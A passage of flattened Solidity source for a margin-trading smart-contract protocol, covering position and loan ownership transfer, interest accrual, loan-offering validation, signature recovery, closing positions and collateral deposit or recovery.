"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
